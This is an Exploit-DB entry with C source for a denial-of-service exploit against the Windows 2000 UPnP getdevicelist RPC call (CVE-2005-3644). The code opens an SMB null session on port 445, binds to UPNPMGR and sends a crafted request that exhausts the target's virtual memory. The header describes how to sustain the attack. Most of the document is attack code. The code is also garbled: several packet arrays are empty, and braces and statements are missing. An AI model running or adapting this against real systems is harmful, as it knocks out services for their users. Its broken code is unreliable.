Microsoft Windows 2000 - UPNP getdevicelist Memory Leak DoS Exploit

ID EDB-ID:1328
Type exploitdb
Reporter Winny Thomas
Modified 2005-11-16T00:00:00


MS Windows 2k UPNP (getdevicelist) Memory Leak DoS Exploit. CVE-2005-3644. Dos exploit for windows platform

 * Author: Winny Thomas
 * 	     Nevis Labs, Pune, INDIA 	
 * Details: 
 * While working on the exploit for MS05-047 i came across a condition where
 * a specially crafted request to upnp_getdevicelist would cause 
 * services.exe to consume memory to a point where the target machines virtual
 * memory gets exhausted. This exploit is NOT similar to the MS05-047 exploit i 
 * published earlier. The earlier one trashed the EIP of the target causing a 
 * crash in services.exe and eventually brought down the system to shut down. 
 * However in this exploit (again a DOS) the virtual memory is consumed to a 
 * point where desktop requests (like clicking "My Computer"), HTTP requests,
 * SMB requests etc does not get serviced for sometime. After sometime the 
 * memory usage comes down and the target system would work as normal. However
 * this code when continuosly executed against a target leads to a sustained 
 * DOS attack.
 * Start the task manager on the target system and run this code against the 
 * target and watch the virtual memory usage shoot up.
 * I used windbg to break on calls to upnp_getdevicelist when running this code.
 * However even before the break point is hit the system becomes unresponsive. 
 * Strangely though changing the operation number in the DCERPC request to 
 * something else other than 0xa (upnp_getdevicelist) will make the DOS attempt
 * fail. Perhaps changing the payload a little bit, so that the underlying 
 * demarshalling routines dont return an error, might reproduce this effect
 * for other UPNP operations as well.
 * TESTED ON: Windows 2000 server SP0, SP2 and SP3. I have not tested this on
 * any of the above machines with the recent hot fixes for UPNP.
 * Note: This code is for educational/testing purposes by authorized persons on networks systems setup for such purposes 
 * The author shall bear no responsibility for any damage caused by using this code. 

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

unsigned short ProcessID = 0;
unsigned short TID = 0;
unsigned short UserID = 0;
unsigned short FID = 0;

char peer0_0[] = 
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00" ;

char peer0_1[] = 

char peer0_1_2[] = 

char peer0_2[] = 

char peer0_3[] = 

char peer0_4[] = 

char peer0_5[] =
//NETBIOS Fields
"\x00"		//Message type
"\x00\x00\x80"  //Payload length 			C
//SMB Fields
//SMB Header
//Write ANDX Request fields
"\x0E" //Word count
"\x40\x00" //Remaining					C
"\x00\x00" //Data Length High
"\x40\x00" //Data Length Low				C
"\x40\x00" //Data Offset				C	
"\x00\x00\x00\x00" //High Offset
"\x41\x00" //Byte count					C
//DCE RPC Request field
"\x40\x00" //Frag Length
"\x00\x00" //Auth Length
"\x8D\x00\x00\x00" //Call Id
"\x28\x00\x00\x00" //Alloc HINT				C
"\x00\x00"  //Context Id
"\x0A\x00"  //OpNum; 10 in our case for PNP_GetDeviceList
//DATA for GetDeviceList 
"\x10\x10\x10\x10" //This is what kills the target. \x00\x00\x00\x00 is safe

void send_packet(int sock, char *payload, int size,
char *type)
	int ntrans, ret;
	memcpy(&payload[30], &ProcessID, 2);
	if (UserID) 
		memcpy(&payload[32], &UserID, 2);
	if (TID)
		memcpy(&payload[28], &TID, 2);

	if (strcmp(type, "Sending DCE RPC Bind UPNPMGR request") == 0) {
		memcpy(&payload[67], &FID, 2);
	if (strcmp(type, "UPNPMGR upnp_getdevicelist request") == 0) {
		memcpy(&payload[41], &FID, 2);

	printf("[*] %s: ", type);
	ntrans = send(sock, payload, size, 0);
	if (ntrans < 0) {

void get_response(int sock, char *type)
	int ret;
	char response[1496];

	ret = recv(sock, response, 1496, 0);
	if (strcmp(type, "Null Session request 1") != 0) {
		if ((ret < 0 || response[9] != 0)) {
			printf("\033[0;31mError in %s response\033[0;39m\n\n", type);
	if (strcmp(type, "Null Session request 1") == 0) {
		UserID = *(unsigned short *)&response[32];
	if (strcmp(type, "Tree Connect") == 0) {
		TID = *(unsigned short *)&response[28];
	if (strcmp(type, "NT Creat AndX") == 0) {
		FID = *(unsigned short *)&response[42];
	if (strcmp(type, "UPNPMGR upnp_getdevicelist") == 0)
		if((unsigned long)response[88] != 0) {

void banner()

	printf("\033[0;31m\t Memory leak when sending upnp_getdevicelist request\n\033[0;39m");
	printf("\033[0;31m\t Coded by: \033[0;34m Winny Thomas :-)\n\033[0;39m");
	printf("\033[0;34m\t\t    NevisLabs\n\033[0;39m");
	printf("\033[0;34m\t\t    Nevis Networks, Pune, INDIA\n\033[0;39m");


char *setup_tCon(char *UNC, char *ptr)
	int pindex = 0, uindex = 0, len;	
	len = strlen(UNC);
	while (uindex < len) {
		if ((pindex % 2) != 0) {
			ptr[pindex] = '\x00';

		ptr[pindex] = UNC[uindex];

	ptr[pindex] = '\x00';
	ptr[pindex] = '\x00';
	ptr[pindex] = '\x00';

	ptr[pindex] = 'I'; pindex++; ptr[pindex] = 'P'; pindex++; ptr[pindex] ='C'; pindex++;

	ptr[pindex] = '\x00';
	ptr[pindex] = '\x00';

int main(int argc, char *argv[])
	struct sockaddr_in target;
	struct hostent *host;
	char UNC[50], tConXpacket[150], *temp, targetIP[20];
	int sockfd;
	int ret, templen;

	if (argc < 2) {
		printf("Usage: %s <host name|ip address>\n\n", argv[0]);
	ProcessID = rand();

	printf("[*] Resolving %s: ", argv[1]);
	host = gethostbyname(argv[1]);
	if (!host) {
	target.sin_family = AF_INET;
	target.sin_addr = *(struct in_addr *)host->h_addr;
	target.sin_port = htons(445);
	sprintf(targetIP, "%s", inet_ntoa(target.sin_addr));
	sockfd = socket(AF_INET, SOCK_STREAM, 0);
	ret = connect(sockfd, (struct sockaddr *)&target, sizeof(target));
	if (ret < 0) {

	send_packet(sockfd, peer0_0, sizeof(peer0_0) -1, "Sending SMB Negotiate request");
	get_response(sockfd, "SMB Negotiate");	

	send_packet(sockfd, peer0_1, sizeof(peer0_1) -1, "Sending Null Session request");
	get_response(sockfd, "Null Session request 1");

	send_packet(sockfd, peer0_1_2, sizeof(peer0_1_2) -1, "Sending Null Session request");
	get_response(sockfd, "Null Session request 2");

	bzero(tConXpacket, 150);
	temp = tConXpacket;
	memcpy(tConXpacket, peer0_2, sizeof(peer0_2));
	temp += sizeof(peer0_2) -1;
	sprintf(UNC, "\\\\%s\\IPC$", targetIP);
	setup_tCon(UNC, temp);
	templen = (strlen(UNC)*2) +9;
	tConXpacket[3] = 43 + templen;
	templen -= 2;
	memcpy((unsigned long *)&tConXpacket[45], &templen, 1);

	send_packet(sockfd, tConXpacket, sizeof(peer0_2) +templen, "Sending Tree Connect request");
	get_response(sockfd, "Tree Connect");

	send_packet(sockfd, peer0_3, sizeof(peer0_3) -1, "Sending NT Creat AndX request");
	get_response(sockfd, "NT Creat AndX");

	send_packet(sockfd, peer0_4, sizeof(peer0_4) -1, "Sending DCE RPC Bind UPNPMGR request");
	get_response(sockfd, "DCE RPC Bind UPNPMGR");

	send_packet(sockfd, peer0_5, sizeof(peer0_5) -1, "UPNPMGR upnp_getdevicelist request");
	get_response(sockfd, "UPNPMGR upnp_getdevicelist");


// [2005-11-16]